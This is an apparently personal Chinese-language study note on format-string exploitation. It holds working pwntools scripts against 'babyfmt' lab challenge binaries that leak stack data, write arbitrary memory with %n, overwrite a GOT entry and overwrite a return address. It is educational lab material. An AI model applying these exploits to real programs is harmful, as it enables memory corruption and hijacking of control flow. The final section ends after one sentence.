fmt 利用手法

2025-03-24

1. leak data

1.1 data存储在栈上

对于我们要泄露的data直接存储在栈上,我们可以下断点在 格式化字符串漏洞的函数的 被调用点,这样可以观察栈的布局,得知要打印第几个参数,打印即可

from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch ='amd64'
binary_path = './babyfmt_level1.0'

p = process(binary_path)
p.recvuntil(b"Send your data!")
p.sendline(b"%6$p %7$p")
p.recvuntil(b"0x")
secert1 = int(p.recvuntil(b" ").strip(b" "),16)
secert2 = int(p.recvline().strip(b"\n").ljust(8,b"\x00"),16)
print(p64(secert1)+p64(secert2))

p.interactive()

1.2 指向data的指针存放在栈上

对于我们要泄露的data的指针存储在栈上,我们可以下断点在 格式化字符串漏洞的函数的 被调用点,这样可以观察栈的布局,得知要打印第几个参数,打印即可

from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch ='amd64'
binary_path = './babyfmt_level2.1'

p = process(binary_path)
p.recvuntil(b"Send your data!")
gdb.attach(p,"b *$rebase(0x14CE)")
pause()

p.sendline(b"%7$s")
p.recvuntil(b"I will now call printf on your data!")
p.recvline()
p.recvline()
secret = p.recvline()
log.success(f"secret: {secret}")
p.recvuntil(b"What is the secret password?")
p.sendline(secret)
p.interactive()

1.3 data和指向data的指针不放在栈上,但是fmt在栈上

在这种情况下,如果我们能够知道data的地址,就可以将其写入fmt中,由其帮我们打印data
没有地址,就创造地址!

from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch ='amd64'
context.terminal = ['tmux','splitw','-h']
binary_path = './babyfmt_level3.1'

p = process(binary_path)
gdb.attach(p,"b *0x401468")
pause()
p.sendline(b"aa%23$s"+p64(0x404100))

p.interactive()

2. write data

2.1 指向data的指针不在栈上,但fmt在栈上

如果我们能够知道data的地址,那么就能够将其写入fmt中,利用%6$n等手段来往其中写入值

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux','splitw','-h']

binary_path = "./babyfmt_level4.1"
p = process(binary_path)

p.recvuntil(b"I will now read up to 256 bytes. Send your data!")
gdb.attach(p,"b *0x4014B4")
pause()

payload = b"%234x%25$n"+b"a"*4+p64(0x4040D8)
p.send(payload)

p.interactive()

2.1.1 特例: 写一个超大值

如果你需要在某个地址处,写一个8字节的值,可以考虑将其切片成2+2+2+2的形式,否则直接打印一个八字节数量的字符串,很可能撑爆你的terminal!

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal=['tmux','splitw','-h']

#binary_path = './babyfmt_level5.1'
binary_path = '/challenge/babyfmt_level5.1'
p = process(binary_path)

#gdb.attach(p,"b *0x4014D6")
#pause()
p.recvuntil(b"Send your data!")
payload = b"%5575x%38$hn%4770x%39$hn%9x%40$hn%2650x%41$hn"+p64(0x404148+0) + p64(0x404148+4) + p64(0x404148+6) + p64(0x404148+2) # 分成2+2+2+2的形式,并对值进行排序
p.send(payload)

p.interactive()

3. leak and write

3.1 fmt在栈上,一次printf,泄露某个地址的值,并写入另一个地址

借助%*73$c的力量,能够打印第73个参数(实际上是printf的第74个参数)的值,并通过%31$n写入第31个参数所指向的内存中。

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
context.terminal=['tmux','splitw','-h']

binary_path = './babyfmt_level6.1'
p = process(binary_path)
gdb.attach(p,"b *0x401526")
pause()

p.recvuntil(b"Send your data!\n")
payload = (b"%*73$c"+b"%31$n")
payload = payload.ljust(17,b"a")
payload += p64(0x404130)
p.send(payload)
p.interactive()

3.2 fmt在栈上,一次printf写got表,劫持控制流

与3.1的原理是一样的

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
# context.terminal=['tmux','splitw','-h']

binary_path = './babyfmt_level7.1'
p = process(binary_path)
binary = p.elf

#gdb.attach(p,"b *0x401491")
#pause()

payload = b"%*36$c%37$ln".ljust(16,b"a")
payload += p64(0x40133D) # func_addr you want to call
payload += p64(0x404088) # strstr got
p.recvuntil(b"vulnerability:")
p.send(payload)

p.interactive()

3.3 fmt在栈上,二次printf改ret值

核心思路,利用第一次printf先打泄露栈地址的值和程序基址;利用第二次printf修改ret值,完成利用

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
context.terminal=['tmux','splitw','-h']

binary_path = './babyfmt_level8.1'
p = process(binary_path)
binary = p.elf

#gdb.attach(p,"b *$rebase(0x149C)")
#pause()

p.recvuntil(b"Have fun!\n")
payload = b"%7$p\n%157$p"
p.send(payload)
p.recvuntil(b"Your input is:        \n")
stack_addr = int(p.recvline().strip(b"\n"),16)
ret_addr = stack_addr + 0x3f9+8
log.success(hex(ret_addr))
program_addr = int(p.recv(14).strip(b"\n"),16)-0x1622
log.success(hex(program_addr))
win_func = (program_addr + 0x1350)&0xffff


payload = b"%*32$c%31$hn".ljust(17,b"a")+p64(ret_addr)+p64(win_func-23)
p.send(payload)

p.interactive()

3.4 fmt+rop

这也是一个有难度的点